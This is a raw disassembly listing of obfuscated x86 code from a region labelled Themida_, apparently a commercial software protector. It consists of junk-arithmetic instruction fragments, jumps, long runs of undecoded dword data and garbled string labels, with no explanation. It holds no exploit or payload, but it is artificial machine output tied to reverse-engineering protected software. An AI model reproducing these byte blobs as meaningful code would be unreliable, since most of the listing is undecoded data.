loc_5550B2: ; CODE XREF: Themida_:00556DE3j
mov edi, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_55ED89
; ---------------------------------------------------------------------------
dd 36FCE781h, 0F7816AE7h, 17BC937Bh, 895FF931h, 160559CDh
dd 2D58ED01h, 4A6638F2h, 0F205E829h, 0E94A6638h, 22Fh
dd 82F7814Fh, 527881FDh, 813D5EBAh, 5AD3011Dh, 0EB81FB01h
dd 1D813D5Eh, 5BD8015Fh, 0F314D905h, 2DD82927h, 27F314D9h
dd 3B52E957h, 0C7810000h, 7BDE0CB7h, 7682EF81h, 0FB29211Eh
dd 81243C8Bh, 4C4h, 81C32900h, 7F18B5C3h, 24048B5Eh, 8D51E9h
db 0
; ---------------------------------------------------------------------------
loc_55513D: ; CODE XREF: Themida_:0055A2F6j
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_556D64
; ---------------------------------------------------------------------------
loc_55514E: ; CODE XREF: Themida_:0055A678j
push dword ptr [esp]
jmp loc_5600F4
; ---------------------------------------------------------------------------
loc_555156: ; CODE XREF: Themida_:00557578j
not esi
jmp loc_55BA15
; ---------------------------------------------------------------------------
db 5, 6, 59h
dd 50E93A2Ch, 87000018h, 0E95C243Ch, 3FDDh, 0DC42F568h
dd 0F6815E1Bh, 1BDC42F7h, 815EF789h, 0A61E9DC3h, 0E9FB292Ch
dd 367Dh, 0C64E5B68h, 0EB815B33h, 0C75EE51Fh, 89DF8957h
dd 15B5FF9h, 15D59C8h, 3ADB05D8h, 0A7687D8Dh, 0E9000026h
dd 8639h, 0D1F7D9F7h, 798DE9h, 2434FF00h, 4C4835Ah, 68565053h
dd 4781750h, 3C41E9h, 0FE00B000h, 0E91204C0h, 990h, 0C181E189h
dd 4, 8704C183h, 248B240Ch, 4C48124h, 0E9000000h, 801h
dd 24448166h, 667CE004h, 4244C29h, 38DCE9h, 48F5D00h, 9B12E924h
dd 0CFF0000h, 0B3E99C24h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55521B: ; CODE XREF: Themida_:005605CBj
xor edx, 0BF06C6B8h
add ecx, 465A605Eh
add ecx, edx
sub ecx, 465A605Eh
jmp loc_55921F
; ---------------------------------------------------------------------------
dd 0F381DBF7h, 1935420Ah, 3EBEB81h, 8956454Eh, 62E9E9DEh
dd 34FF0000h, 0C4815B24h, 4, 0E92DE980h, 1339h, 0E9E78957h
dd 0A98Ah, 4C481h, 0E8300000h, 56C33059h, 1881BF57h, 0EF812B20h
dd 0CCE79E9Ch, 9B7CE950h, 502C0000h, 24148B66h, 2C481h
dd 13680000h, 89000048h, 0ABB5240Ch, 5304E5C0h, 536621B7h
dd 1245CF6h, 0B4505B66h, 58E70011h, 9DC2E9h, 24248B00h
dd 5FF9E9h, 24248B00h, 0FFF60DE9h, 63C381FFh, 6676641Ah
dd 5224148Bh, 24148B54h, 0E904C483h, 47F6h, 8959CB29h
dd 42C8E9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5552E2: ; CODE XREF: Themida_:0055E0D6j
push esi
mov esi, 0
sub esi, ecx
xor ecx, esi
xor esi, ecx
xor ecx, esi
pop esi
xor ecx, 35970F5Ah
xor ecx, 5A064A2Ch
xor ebp, ecx
pop ecx
xor ebp, 32BF448Dh
shr ebp, 2
add ebp, 78BA1F29h
add ebx, ebp
pop ebp
jmp loc_55C2B9
; ---------------------------------------------------------------------------
aVsw db 'Véw',0Bh,0
db 0
; ---------------------------------------------------------------------------
loc_55531D: ; CODE XREF: Themida_:0055D858j
push 2E14h
mov [esp], edi
jmp loc_55E5BA
; ---------------------------------------------------------------------------
dw 74FFh
dd 0E6E90424h, 3Eh, 516658C3h, 0CB3091B1h, 68E4E9h, 148B5800h
db 24h
aVsL db 'VéÚl',0 ; DATA XREF: ___:00444D6Co
dw 3100h
dd 77095AD6h, 24348B1Ch, 0E904C483h, 0FFFFF572h, 241AE952h
dd 0BB530000h, 4, 91E9DF01h, 810000AEh, 0E06578EFh, 5FFE0162h
dd 6DE68h, 240C8900h, 7A4AE950h, 0F0010000h, 534BE9h, 4C28100h
dd 83000000h, 0A5E904C2h, 0FF00002Bh, 34FF2434h, 1BE95924h
dd 80000037h, 0F780FFC7h, 23C68045h, 0EE80FE28h, 27E95B23h
dd 8B000010h, 0C4832404h, 5AD32904h, 0B60F66h, 0DD768h
dd 242C8900h, 0EC81E589h, 4, 22BBE9h, 48B6600h, 4EC8124h
dd 0E9000000h, 0B00h, 2916E95Fh, 0F74E0000h, 5BE768D6h
dd 7AE90000h, 8900005Eh, 0D9B42404h, 881AF480h, 3E6AE9E3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55540E: ; CODE XREF: Themida_:0055A624j
mov [esp], ebx
mov ebx, esp
push ecx
mov ecx, 47760ADAh
or ecx, 50B97573h
add ecx, 500663E0h
add ecx, 57FA1C29h
add ebx, ecx
pop ecx
push edx
mov edx, 4
add ebx, edx
mov edx, [esp]
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
jmp loc_55EF0B
; ---------------------------------------------------------------------------
loc_555449: ; CODE XREF: Themida_:0055D37Fj
sub edx, 3D1F0Dh
sub ebx, edx
pop edx
xchg ebx, [esp]
pop esp
mov [esp], eax
push 3261h
mov [esp], ebx
pop eax
push dword ptr [esp]
pop ebx
add esp, 4
push 32F5h
mov [esp], ebx
not dword ptr [esp]
mov ebx, [esp]
add esp, 4
xor eax, ebx
xor ebx, eax
xor eax, ebx
jmp loc_555FE4
; ---------------------------------------------------------------------------
loc_555488: ; CODE XREF: Themida_:0055FBBEj
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
jmp loc_556F7B
; ---------------------------------------------------------------------------
dd 6624248Bh, 9C2404D3h, 0FFF425E9h, 0D30166FFh, 0EEC38166h
dd 665A667Dh, 8166C301h, 567EF8EBh, 64BEBE66h, 291868h
dd 240C8900h, 5940B966h, 6CBEE9h
db 0
; ---------------------------------------------------------------------------
loc_5554D1: ; CODE XREF: Themida_:00555BC0j
pop eax
push eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
pop edx
push esi
push edx
push 6C3F1FF3h
mov edx, [esp]
push edi
push esp
pop edi
push edx
jmp loc_55E79F
; ---------------------------------------------------------------------------
dd 4EC81h, 24890000h, 4BA5224h, 1000000h, 0E9042454h, 267Dh
dd 6055A4BAh, 59CA3163h, 4245401h, 1C8EE9h
db 0
; ---------------------------------------------------------------------------
loc_555525: ; CODE XREF: Themida_:005601EFj
pop esi
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_559284
; ---------------------------------------------------------------------------
dw 3489h
dd 74C7BE24h, 8DE90E28h
db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555547: ; CODE XREF: Themida_:0055B0CCj
mov edx, ecx
pop ecx
add edi, 5CE21FB6h
sub edi, edx
sub edi, 5CE21FB6h
pop edx
mov ebx, edi
mov edi, [esp]
add esp, 4
and eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], edx
mov edx, 0BF66295h
push eax
mov eax, 0FFFFFFFFh
add edx, 35543DD6h
add edx, eax
sub edx, 35543DD6h
pop eax
jmp loc_55E1A4
; ---------------------------------------------------------------------------
dw 0F488h
aIxxsct db 'ˆåXéæ’',0
align 10h
dd 0C781E789h, 4, 8704EF83h, 248B243Ch, 243C8924h, 0A857E9h
dd 72C18100h, 8B15177Dh, 8951241Ch, 4C181E1h, 83000000h
dd 0EEE904C1h, 590000A4h, 0A7BDE9h, 4C48100h, 81000000h
dd 4EBh, 517EE900h, 0E2810000h, 57FA2E98h, 9F72E9h, 0E95A6600h
dd 8583h, 1E25BF57h, 0D368048Bh, 0E900004Fh, 0B096h
; ---------------------------------------------------------------------------
loc_55560C: ; CODE XREF: Themida_:0055F9B9j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_558720
; ---------------------------------------------------------------------------
loc_555623: ; CODE XREF: Themida_:0055D58Ej
sub esp, 4
jmp loc_55CECD
; ---------------------------------------------------------------------------
db 50h
dd 0F29CE99Ch, 0BA52FFFFh, 77B41371h, 288FB850h, 0C2213614h
dd 2CC28158h, 0E917CB0Fh, 7790h
; ---------------------------------------------------------------------------
loc_55564C: ; CODE XREF: Themida_:0055E89Cj
shl ecx, 7
xor ecx, 0FFFEFB84h
add ebp, ecx
jmp loc_560804
; ---------------------------------------------------------------------------
dd 0C281E289h, 4, 4BE56h, 0F2290000h, 0F2D9E95Eh, 0EF81FFFFh
dd 6D6677EDh, 8FC4E9h, 24248900h, 19DEE9h, 0E7814F00h
dd 2A7D3217h, 1A12E94Fh, 0E95A0000h, 0B2FEh, 0C681E689h
dd 4, 8704EE83h, 72E92434h, 88000003h, 8BE588D4h, 0C4832404h
dd 5BB9E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5556BA: ; CODE XREF: Themida_:0055BA9Bj
add ebp, 4
jmp loc_5593F7
; ---------------------------------------------------------------------------
loc_5556C5: ; CODE XREF: Themida_:00558690j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
loc_5556CE: ; CODE XREF: Themida_:00556218j
; Themida_:0055D680j
mov ebx, [esp]
push 60B4h
mov [esp], esi
mov esi, esp
push edx
mov edx, 581C23C6h
add edx, 0A7E3DC3Eh
jmp loc_55811D
; ---------------------------------------------------------------------------
dd 4C2815Ah, 81000000h, 4EAh, 24148700h, 8924248Bh, 0C2892414h
dd 34FF5B52h, 0E9535A24h, 3B36h
; ---------------------------------------------------------------------------
loc_555710: ; CODE XREF: Themida_:0055B64Cj
pop esp
push 7436h
mov [esp], eax
push esi
push ebp
jmp loc_557D65
; ---------------------------------------------------------------------------
dd 240C335Bh, 33240C31h, 248B240Ch, 2434FF24h, 6232E9h
dd 0B60F6600h, 9C5166C8h, 246CE9h
db 0
; ---------------------------------------------------------------------------
loc_555741: ; CODE XREF: Themida_:005609DBj
push eax
xchg ebp, [esp]
push 8Ah
mov [esp], ebp
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
not ebx
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
pop ebp
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_555FBB
; ---------------------------------------------------------------------------
loc_555774: ; CODE XREF: Themida_:0055A8CFj
sub ebx, 0D2EF15B1h
sub eax, ebx
pop ebx
add ebx, eax
pop eax
add ebx, edi
sub ebx, 454C24B7h
jmp loc_556CCE
; ---------------------------------------------------------------------------
db 0F7h, 0D0h, 0C1h
dd 9C0D07E8h, 0C10D940Ch, 2F6803E0h, 89000045h, 0F2BB241Ch
dd 0E96FF7F4h, 7168h, 5C243C87h, 5C24048Fh, 52240C8Bh
dd 0E904EC83h, 0FFFFFEBDh, 24786858h, 0C890000h, 81E18924h
dd 4C1h, 4C18300h, 5C240C87h, 34FF5450h
db 24h, 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55B42E
; ---------------------------------------------------------------------------
dd 47F3E952h, 48B0000h, 4C48324h, 7147E9h, 0F0CCE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555802: ; CODE XREF: Themida_:005576C0j
neg ecx
dec ecx
shl ecx, 8
or ecx, 6CA1486Bh
add ecx, 0FC42C0C5h
sub eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5565F3
; ---------------------------------------------------------------------------
db 59h, 81h, 0C1h
dd 4, 12BA6850h, 2C890000h, 6DD2BD24h, 5AE938E1h, 5E00002Eh
dd 2474FF53h, 48F5B04h, 29E95C24h, 0BE00009Bh, 9EDF2510h
dd 0FFF33BE9h, 4EC81FFh, 89000000h, 16E92424h
db 8Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555863: ; CODE XREF: Themida_:0055ACB6j
add eax, 0FECF3B12h
mov ecx, eax
pop eax
sub ecx, 4A556A15h
sub esi, 4FF90EC1h
sub esi, 27D4801h
jmp loc_55B6D0
; ---------------------------------------------------------------------------
dw 8B66h
dd 83512404h, 248904ECh, 24048324h, 0C1815904h, 4, 8081E9h
db 0
; ---------------------------------------------------------------------------
loc_55589D: ; CODE XREF: Themida_:00555C39j
xchg eax, ebp
push esi
jmp loc_55B936
; ---------------------------------------------------------------------------
dd 4C481h, 0B9510000h, 790D5878h, 477BF181h, 0C8291EE6h
dd 53C80159h, 0EB1F03BBh, 5BD80167h, 47A82D59h, 0BC2D6BD1h
dd 2D7FEE26h, 3A2C5906h, 82E9D829h
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5558DB: ; CODE XREF: Themida_:0055A07Dj
mov [esp], edi
pop ebp
pop edi
xor ebp, 2A6234C8h
and eax, ebp
push dword ptr [esp]
jmp loc_55830A
; ---------------------------------------------------------------------------
loc_5558F0: ; CODE XREF: Themida_:0055CFB8j
sub esi, 60070082h
mov edx, esi
pop esi
jmp loc_55699A
; ---------------------------------------------------------------------------
aBWfpsz db 'ÊÄwFpé‡`',0
db 0
; ---------------------------------------------------------------------------
loc_555909: ; CODE XREF: Themida_:00560C4Bj
xor esi, [esp]
pop esp
sub esp, 4
jmp loc_55A2E8
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aSru db '$éu',0
align 2
dw 0D301h
aZscn db 'Zé—n',0
align 2
dw 0ECB8h
dd 101F020h, 0E95F58C3h, 26EDh, 0C181E189h, 4, 41A3E952h
dd 81590000h, 4C4h, 4B85000h, 1000000h, 24048BC7h, 39B2E9h
dd 0E1895100h, 4C181h, 0C1810000h, 4, 0E9240C87h, 630Ch
; ---------------------------------------------------------------------------
loc_555970: ; CODE XREF: Themida_:00559225j
mov [esp], ebx
push esi
mov esi, 4504200h
shr esi, 8
and esi, 2BB21140h
shl esi, 3
push ecx
mov ecx, 3B991D47h
sub ecx, 58F965B3h
and ecx, 28391CA3h
xor ecx, 2019957Ch
sub esi, ecx
pop ecx
mov ebx, esi
pop esi
add ecx, ebx
jmp loc_55E3DB
; ---------------------------------------------------------------------------
dw 0C33h
aStsx db '$\STéx"',0
dd 0EF814700h, 4D6C0A6Fh, 0D153C781h, 0F929167Fh, 52F1015Fh
dd 693A3CBAh, 5AD10100h, 240C875Eh, 772BE95Ch, 4C010000h
dd 59590424h, 4BB53h, 0E9810000h, 496323D8h, 0BF57D901h
dd 496323D8h, 0DC1E9h, 0EC835200h, 0A4E95404h, 1000034h
dd 0C6835AD6h, 24348702h, 6624248Bh, 68240C8Bh, 3B3Dh
dd 972DE9h, 24895C00h, 82685124h, 8B0E866Ch, 48E9240Ch
dd 660000A5h, 8124048Bh, 4ECh, 242C8900h, 68575D54h, 46F27F54h
dd 2E7C15Fh, 84E9D7F7h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555A4F: ; CODE XREF: Themida_:0055A55Ej
add dword ptr [esp+4], 731B088Fh
push eax
mov eax, 71154FAAh
sub [esp+8], eax
pop eax
sub [esp+4], edx
add dword ptr [esp+4], 71154FAAh
push edx
mov edx, 731B088Fh
jmp loc_558235
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aWt_szt db '$WT_éZT',0
dd 2434FF00h, 0FF2434FFh, 48B2434h, 4C48324h, 0E904C483h
dd 155Dh, 5BE9524Dh
db 59h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555AA3: ; CODE XREF: Themida_:0055EC4Cj
mov edi, esp
add edi, 4
push esi
mov esi, 4
add edi, esi
pop esi
xchg edi, [esp]
pop esp
xor edx, edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
mov esi, ebx
jmp loc_556BA8
; ---------------------------------------------------------------------------
dd 83241C8Bh
db 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 53DDh
jmp loc_55BC6A
; ---------------------------------------------------------------------------
db 81h
dd 40220F3h, 0E9D80140h, 2E13h, 24048B66h, 7B8068h, 241C8900h
dd 8904EC83h, 0EC812424h, 4, 0E9243489h, 5615h, 64AFC681h
dd 515A77E1h, 468h, 0AF73E900h, 0CD800000h, 0DCB75316h
dd 0EF80DFF6h, 0C2EF800Fh, 0EF80CFFEh, 1C78078h, 885BFD30h
dd 2434FFEFh, 0E2895259h, 4C281h, 0C2810000h, 4, 0E9241487h
dd 830h, 0F658C508h, 6EDC0DDh, 919BE9h, 0E9D7F700h, 0A327h
dd 5C836866h, 24048966h, 0FFED41E9h, 0EC81ACFFh, 4, 68241C89h
dd 6254h, 0FFF85EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555BA1: ; CODE XREF: Themida_:0055BC8Fj
push 6239h
mov [esp], eax
mov eax, 10000h
jmp loc_555CA0
; ---------------------------------------------------------------------------
db 0BFh
dd 7B052542h, 86F8E9h
db 0
; ---------------------------------------------------------------------------
loc_555BBD: ; CODE XREF: Themida_:0055E658j
push dword ptr [esp]
jmp loc_5554D1
; ---------------------------------------------------------------------------
loc_555BC5: ; CODE XREF: Themida_:00555CADj
mov esi, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
jmp loc_5587D4
; ---------------------------------------------------------------------------
db 0BAh, 2Ah, 3Dh
dd 7E95826h, 89FFFFFAh, 0B8BE2434h, 9213513h, 0E9435EF3h
dd 8458h
; ---------------------------------------------------------------------------
loc_555BF4: ; CODE XREF: Themida_:0055AFC1j
push edi
push 75B33F17h
pop edi
jmp loc_55CA51
; ---------------------------------------------------------------------------
loc_555C00: ; CODE XREF: Themida_:00557D74j
mov ebp, [esp]
jmp loc_55D78B
; ---------------------------------------------------------------------------
loc_555C08: ; CODE XREF: Themida_:00559C49j
mov [esp], ecx
jmp loc_55FA1A
; ---------------------------------------------------------------------------
loc_555C10: ; CODE XREF: Themida_:0055CDF5j
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_555C5F
; ---------------------------------------------------------------------------
loc_555C32: ; CODE XREF: Themida_:0055CC1Dj
neg ebp
neg ebp
xchg eax, ebp
not eax
jmp loc_55589D
; ---------------------------------------------------------------------------
dw 0C681h
dd 2F0A1398h, 0EE81FE01h, 2F0A1398h, 2370E9h
db 0
; ---------------------------------------------------------------------------
loc_555C51: ; CODE XREF: Themida_:0055EF0Cj
add ebx, 4
xchg ebx, [esp]
jmp loc_55D62E
; ---------------------------------------------------------------------------
loc_555C5F: ; CODE XREF: Themida_:00555C2Dj
mov edi, 5B8A3D57h
jmp loc_55BE11
; ---------------------------------------------------------------------------
loc_555C69: ; CODE XREF: Themida_:00556A8Bj
push dword ptr [esp]
pop eax
push eax
mov eax, esp
jmp loc_557964
; ---------------------------------------------------------------------------
loc_555C75: ; CODE XREF: Themida_:00557321j
add edx, ecx
pop ecx
add edx, 4
jmp loc_55994D
; ---------------------------------------------------------------------------
db 5
a11Sj db '{1(',9,')Ø-{1(',9,'éJ"',0
align 4
dd 5EF2015Ah, 0E902C283h, 86Dh
; ---------------------------------------------------------------------------
loc_555CA0: ; CODE XREF: Themida_:00555BAEj
mov esi, eax
mov eax, [esp]
add esp, 4
and eax, esi
push dword ptr [esp]
jmp loc_555BC5
; ---------------------------------------------------------------------------
loc_555CB2: ; CODE XREF: Themida_:0055ABF6j
shl ecx, 6
push ebx
mov ebx, 44637D1h
xor ebx, 26A92C04h
xor ecx, ebx
pop ebx
shl ecx, 4
jmp loc_556456
; ---------------------------------------------------------------------------
dd 2BDh, 48C28100h, 1717620h, 48EA81EAh, 5D717620h, 1AA1E9h
dd 4EC8100h, 89000000h, 6CE9241Ch, 5D000092h, 0FFF1B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555CF9: ; CODE XREF: Themida_:0055DDEBj
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_55B756
; ---------------------------------------------------------------------------
loc_555D0F: ; CODE XREF: Themida_:0055C9D3j
push ebx
push ebp
jmp loc_557B2E
; ---------------------------------------------------------------------------
aZSui db '‡×éUˆ',0
dd 6E7C100h, 9A1E9h, 57BF5700h, 0E9375573h, 0FFFFFC85h
; ---------------------------------------------------------------------------
loc_555D30: ; CODE XREF: Themida_:00560A08j
xor eax, 7E4380Eh
and edx, eax
pop eax
shr edx, 6
push ebp
mov ebp, 275A70DAh
shr ebp, 1
and ebp, 46DF52EAh
add ebp, 0FE73C031h
sub edx, ebp
jmp loc_558448
; ---------------------------------------------------------------------------
loc_555D56: ; CODE XREF: Themida_:00557A5Aj
add edx, eax
sub edx, 54C50D30h
mov ecx, [edx]
mov edx, [esp]
add esp, 4
mov eax, [esp]
jmp loc_5605BA
; ---------------------------------------------------------------------------
loc_555D6E: ; CODE XREF: Themida_:00556995j
mov [esp], edx
jmp loc_55E86E
; ---------------------------------------------------------------------------
dd offset dword_54BD44+724h
dw 8900h
dd 6DE92414h, 0C0000021h, 0CEFE06EEh, 80D2E680h, 0F68029EEh
dd 66F520F4h, 8124148Bh, 2C4h, 436CE900h, 2C890000h, 2414F724h
dd 476FE9h, 0E95D5400h, 4EE1h, 83D831ADh, 3C8904ECh, 4264BF24h
dd 50E905CDh, 1000011h, 0EC835FFBh, 24048904h, 2B8h, 95EB8100h
dd 0E93D1B6Dh, 1712h, 35E9D5F7h, 8B000038h, 89532414h
dd 4C381E3h, 83000000h, 7EE904C3h, 8F000031h, 4812404h
dd 424h, 52515F00h, 0E5E3CBAh, 640AE922h, 0EC810000h, 4
dd 0BE243489h, 53B874ACh, 161E9h, 0E2895200h, 4C281h, 0EA810000h
dd 4, 5C241487h, 8DB9E9h, 82BF5700h, 1666874h, 2DE95FF8h
dd 8F00009Ah, 2E92404h, 800000A6h, 0F8285AF7h, 240C8B5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55A6A3
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFEA56h, 521671B8h, 18EDE946h, 0E9570000h, 3FB5h
dd 0EF31FD31h, 0E908E7C1h, 0FA3h, 0ED0116BEh, 0E9F02958h
dd 45A1h, 240C8B66h, 348B5456h, 3470E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555EAE: ; CODE XREF: Themida_:005592A1j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55EC42
; ---------------------------------------------------------------------------
db 68h
dd 6025h, 0B1240C89h, 8BC828F8h, 0C483240Ch, 58C10804h
dd 0E905E9C0h, 0A81Ch, 66F1F766h, 0E94DF668h, 0A18h, 68241C89h
dd 3946h, 24048F54h, 62F5E9h
db 0
; ---------------------------------------------------------------------------
loc_555EFD: ; CODE XREF: Themida_:0055750Cj
add ebx, 4
jmp loc_55868F
; ---------------------------------------------------------------------------
loc_555F05: ; CODE XREF: Themida_:0055A92Dj
mov ebp, 39F7090Fh
mov eax, ebp
pop ebp
sub eax, 0CF89BBE6h
jmp loc_55621D
; ---------------------------------------------------------------------------
aIPg@lS db '‰,$G@‹,$éº(',0
dd 0EBCC8000h, 28F9C480h, 0B60F58E3h, 946866C0h, 0A504E907h
dd 8A680000h, 89000049h, 2B682414h, 89000016h, 4812424h
dd 424h, 0C2815A00h, 4, 5FE768h, 240C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55CAE6
; ---------------------------------------------------------------------------
aGssw db 'Gé™w',0
align 2
loc_555F6E: ; CODE XREF: Themida_:00558163j
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
and eax, ebp
pop ebp
jmp loc_5604A1
; ---------------------------------------------------------------------------
aPqsk db 'PQék+',0
dd 4055800h, 83000000h, 14E904C0h, 53000035h, 545AD2BBh
dd 0B2EB813Ch, 29AC4C08h, 0CE895BD9h, 8453E9h
db 0
; ---------------------------------------------------------------------------
loc_555FB1: ; CODE XREF: Themida_:0055601Dj
add esi, ecx
pop ecx
not esi
jmp loc_55C24B
; ---------------------------------------------------------------------------
loc_555FBB: ; CODE XREF: Themida_:0055576Fj
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 8AAh
mov [esp], ebx
sub esp, 4
mov [esp], edi
jmp loc_55DD0A
; ---------------------------------------------------------------------------
loc_555FE4: ; CODE XREF: Themida_:00555483j
push 54EEh
mov [esp], esi
push eax
push 0B604E97h
pop eax
inc eax
push eax
push edi
pop eax
pop edi
jmp loc_55DF50
; ---------------------------------------------------------------------------
db 4Dh, 57h, 0BFh
dd 566B24AFh, 815FFD31h, 8946CFE5h, 2EF58135h, 0E901AF49h
dd 7E2Eh
; ---------------------------------------------------------------------------
loc_556018: ; CODE XREF: Themida_:00558EE7j
mov ecx, 6B483EDCh
jmp loc_555FB1
; ---------------------------------------------------------------------------
loc_556022: ; CODE XREF: Themida_:00559F06j
or ecx, 5FBF7324h
push ecx
not dword ptr [esp]
pop ecx
sub ecx, 885Ch
push ebx
mov ebx, 0AB91C6Fh
add ebx, 35051C7Ah
add eax, ebx
pop ebx
sub eax, ecx
sub eax, 3FBE38E9h
pop ecx
jmp loc_55A634
; ---------------------------------------------------------------------------
db 81h
dd 0CC386EC1h, 0C875A0Bh, 24248B24h, 9FD8E9h, 0B850AD00h
dd 42A82855h, 5C3C681h, 0EE811BADh, 0AA221Bh, 65ABE9h
dd 1EF18100h, 815FBE22h, 941141C1h, 13E9817Ah, 81579B9Ch
dd 1124AEFh, 81CF0177h, 1124AC7h, 19685977h, 0E900006Eh
dd 8A07h, 42474FFh, 3804E9h, 54F28100h, 29354051h, 24148BD7h
dd 104C483h, 68525FF8h, 0CDEh, 68241C89h, 5DCA0B1Ch, 0FBB9515Bh
dd 81162C22h, 4F563BF1h, 0F1814900h, 23977002h, 0C181D1F7h
dd 2874255Eh, 95BFE9h, 4C48100h, 0E9000000h, 1665h, 0F5C2FEB9h
dd 8BC101B2h, 0C4812404h, 4, 806BE9h, 9CC88400h, 312CE9h
dd 4C48300h, 6301E9h, 241C8900h, 2C68h, 2434FF00h, 4C4835Bh
dd 5552FB01h, 3F003E68h, 0E1E95D2Ch, 51000029h, 0A85AC868h
dd 0E1D15908h, 32DBE9h, 58D5BE00h, 0BD551BE6h, 0ABB2970h
dd 895DEE29h, 0DF315EF7h, 20CF815Bh, 8300821Ah, 0C783FFC7h
dd 1D99E901h, 0E5C10000h, 4F58108h, 0E9BF1ED6h, 0A78Dh
dd 404C483h, 2CF00091h, 8B665A91h, 0C483240Ch, 0FEB05002h
dd 8E05E952h, 875F0000h, 895C2404h, 0A1E9240Ch, 8800002Ah
dd 9B58E9DEh, 0E2810000h, 4610F01h, 89EA8142h, 1FEC3ECh
dd 1E8BE9D1h, 0FF550000h, 525D2404h, 9D66E9h, 13BF5700h
dd 93E5810h, 10C8E9FEh, 74FF0000h, 8F5A0424h, 7EE92404h
dd 6800005Bh, 69D5h, 0B9240C89h, 20F0140Fh, 242C8B51h
dd 4C481h, 0E5E90000h
db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5561FF: ; CODE XREF: Themida_:0055704Dj
add edi, eax
pop eax
push edx
mov edx, 5FD54F0Eh
push edi
jmp loc_55FA93
; ---------------------------------------------------------------------------
loc_55620E: ; CODE XREF: Themida_:0055C061j
pop dword ptr [edi+20h]
add dword ptr [edi+20h], 4B956385h
jmp loc_5556CE
; ---------------------------------------------------------------------------
loc_55621D: ; CODE XREF: Themida_:00555F12j
mov ecx, eax
mov eax, [esp]
jmp loc_55C37E
; ---------------------------------------------------------------------------
db 54h
dd 81243C8Bh, 4C4h, 4EC8300h, 0E9242C89h, 92A2h, 411568h
dd 1D2AE900h, 0DA870000h, 2414F753h, 55DA875Bh, 0DA7E90BDh
dd 0D2ED8153h, 0F7257A4Ch, 1C581D5h, 81000000h, 0CEFB2EF5h
dd 5DEA31F0h, 0E903EAC1h, 0FFFFFE39h, 0E930FF66h, 0FFFFE652h
; ---------------------------------------------------------------------------
loc_55627C: ; CODE XREF: Themida_:0055B391j
push eax
jmp loc_55BC72
; ---------------------------------------------------------------------------
dw 0E781h
dd 7EFD4D68h, 0D3F7DF87h, 0EF81DF87h, 66E607E4h, 0F7F7F781h
dd 0FA019230h, 8D27E9h, 88CDB500h, 0C18859E8h, 5C2C58h
dd 0E95C04C8h, 4FDBh
; ---------------------------------------------------------------------------
loc_5562B4: ; CODE XREF: Themida_:0055A899j
push 6F4D1E78h
mov esi, [esp]
jmp loc_55F7B2
; ---------------------------------------------------------------------------
db 0BBh, 9Ch, 6Bh
dd 0CB8169D7h, 3B1040EBh, 7749E381h, 0E3814F9Eh, 7B7D68E6h
dd 39BEE9h, 130400h, 6737E9F8h, 14F70000h, 9DE95E24h, 0E9000062h
dd 0FFFFE5DAh, 4FD3E959h, 665C0000h, 0E924048Bh, 0A728h
dd 835AD301h, 1C8704EBh, 34895C24h, 1981E924h, 0C2830000h
dd 24143302h, 33241431h, 0B5E92414h
db 90h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556327: ; CODE XREF: Themida_:00560805j
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
shl eax, cl
jmp loc_55B02A
; ---------------------------------------------------------------------------
db 87h
dd 895C2414h, 94B82404h, 2D41B73Dh, 41B73D92h, 830CE9h
db 0
; ---------------------------------------------------------------------------
